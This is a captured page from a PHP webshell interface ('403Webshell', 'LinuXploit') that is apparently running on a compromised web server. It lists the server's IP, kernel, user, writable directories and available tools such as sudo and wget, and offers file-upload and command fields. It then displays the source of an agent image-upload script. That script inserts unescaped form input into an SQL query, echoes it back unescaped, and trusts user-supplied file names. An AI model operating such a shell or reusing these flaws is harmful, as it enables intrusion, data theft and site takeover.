403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/usagrantapplications.org/vsa/boxes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/usagrantapplications.org/vsa/boxes/picsbox.php
<?php
/*
Copyright (c) 2007-present InnAnTech Industries
Author: Dave Guindon
Web: www.VirtualSmartAgent.com
Support: www.DaveGuindonSupport.com

Please send bug reports, suggestions and/or feedback to the support
website given above.

Virtual Smart Agent is a commercial software. Any distribution is strictly prohibited
unless a resale rights license was delivered along with this software.
*/

include('../modfiles/db.php');
include('../globals.php');
include('boxfunctions.php');

$conn = mysql_connect("$dbhost", "$dblogin", "$dbpass") or die ('ERROR');
mysql_select_db($dbname, $conn);

//get the file uploading folder
$sql = "SELECT * FROM $settingsTable";
$result = mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):'';
$data = mysql_fetch_assoc($result);
$installfolder = $data['installfolder'];
$installsite = $data['installsite'];
$imglocation = $installsite.$installfolder.'modfiles/';
$uploaddir = $_SERVER['DOCUMENT_ROOT'].$installfolder.'modfiles/';

//update or add new agent
$actionbutton = $_POST['actionbutton'];
if ($actionbutton){

  //validate inputs
  $label = $_POST['label']; 
  $picid = $_POST['picid'];
  $location = $_POST['location'];
  
  $warning = '';
  $err = '';
  
  //need to check for label first then continue
  if ((!isset($label))||($label=='')){
 	$show = 'The picture label was not entered<br /><br />';
	$show .= '<a href="picsbox.php">Click Here to Go Back</a>';
  	$show = '<span style="color: #FF0000">'.$show.'</span>';
	$show = '<table width="100%" cellspacing="0" cellpadding="10"><tr><td>'.$show.'</td></tr></table>';
    $hide1 = '<!--';
    $hide2 = '-->'; 
  }else{
  
      //check php's built-in errors
	  if ($_FILES['imgfile']['error'] == 1){
	    $err[] = "php.ini max file size exceeded.";
	  }else if ($_FILES['imgfile']['error'] == 2){
	    $err[] = "html form max file size exceeded.";
	  }else if ($_FILES['imgfile']['error'] == 3){
	    $err[] = "file upload was only partial.";
	  }else if ($_FILES['imgfile']['error'] == 4){
	    $err[] = "no file was attached.";
	  }
	
	  //check if the file was uploaded via HTTP POST
	  if (!is_uploaded_file($_FILES['imgfile']['tmp_name'])) {
	    $err[] = "not an HTTP upload.";  	  	  
	  }
	
	  //check if the file is an image
	  $imgsize = getimagesize($_FILES['imgfile']['tmp_name']);	
	  if(!$imgsize){
	    $err[] = "only image uploads are allowed";
	  }else{			   
	    if (($imgsize[0] != 150)||($imgsize[1] != 220)){
	      $warning = '<span style="color: #FF0000">WARNING: The image you uploaded is not 150 x 220 pixels, therefore, the image will be scalled to 150px wide by 220px high.</span><br /><br />';
	    }	  	  
	  }
		
	  //need to add this check to prevent the file from being uploaded if an error occured	
	  if ($err == ''){
	    //create a unique file name to avoid overwriting others
	    $now = time(); 
	    $filename = $now.'-'.$_FILES['imgfile']['name'];
	    $uploadFile = $uploaddir.$filename;
	    $imglocation = $imglocation.$filename;	 
	    
	    $res = @move_uploaded_file($_FILES['imgfile']['tmp_name'], $uploadFile);
	    if(empty($res)){
	      $err[] = 'You need to change the file permissions for the images folder. See help videos.';
	    }else{
          //finally ... its all good
	      $sql = "INSERT INTO $agentpicsTable VALUES(null,'$label','$imglocation')";
          mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):'';	
	    
		  $show = $warning;
	      $show .= 'The following new agent image <font color="#0000FF">'.$label.'</font> has been uploaded to the images folder and the details added to the system database.<br />';
		  $show .= '<img src="'.$imglocation.'" border="0" width="150" height="220"><br />';
	      $show .= '<a href="../agents.php" target="_parent">click here to continue</a>';
	      $show = '<center>'.$show.'</center>';
        }
	  }
	
	  //show errors
	  if ($err !== ''){
	    $show = 'There were errors with the data you are trying to input:<br />';
	    $show .= '<ul>';
	    foreach($err as $value){
	      $show .= '<li>'.$value.'</li>';
	    }
	    $show .= '</ul><br />';
	    $show .= '<a href="picsbox.php">Click Here to Go Back</a>';
  	    $show = '<span style="color: #FF0000">'.$show.'</span>';  	  
	  }
	
	  //finish the output message
      $show = '<table width="100%" cellspacing="0" cellpadding="10"><tr><td>'.$show.'</td></tr></table>';
      $hide1 = '<!--';
      $hide2 = '-->';   	      
  }   
}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<LINK href="style.css" type=text/css rel=stylesheet>
<title>campaign</title>
</head>

<body>
<?php echo $show; ?>
<?php echo $hide1; ?>
<form action="picsbox.php" method="post" enctype="multipart/form-data"> 
<input type="hidden" name="t" value="<?php echo $t; ?>" />
<input type="hidden" name="picid" value="<?php echo $picid; ?>" />
<table width="350" border="0" align="center" cellpadding="10" cellspacing="0">
  <tr>
    <td><table width="100%" border="0" cellspacing="1" cellpadding="2">
      <tr>
        <td colspan="2" valign="top"><div align="center"><strong>Add Agent Image</strong></div></td>
        </tr>
      <tr>
        <td width="53%" valign="top" bgcolor="#E9E9E9"><div align="right">Picture label:</div></td>
        <td width="47%" bgcolor="#E9E9E9"><input name="label" type="text" id="label" style="width: 200px" value="<?php echo $label; ?>" /></td>
      </tr>
      <tr>
        <td valign="top" bgcolor="#E9E9E9"><div align="right">Location:</div></td>
        <td bgcolor="#E9E9E9"><input type="file" name="imgfile" size="15" />          </td>
      </tr>
      <tr>
        <td colspan="2" bgcolor="#E9E9E9"><div align="center">Click the browse button above to upload an image from your computer. Please note the  image <strong>must be 150px wide by 220px high</strong> or else it will be automatically scalled ... AND auto-scalled images look bad.</div></td>
      </tr>
      <tr>
        <td colspan="2" bgcolor="#E9E9E9"><table width="100" border="0" align="center" cellpadding="2" cellspacing="0">
          <tr>
            <td><input type="submit" name="actionbutton" value="Add New Image" /></td>
            <td><input type="submit" id="Login" value="Cancel" onclick="self.parent.tb_remove();" /></td>
          </tr>
        </table></td>
      </tr>

    </table>
    </td>
  </tr>
</table>
</form>
<?php echo $hide2; ?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit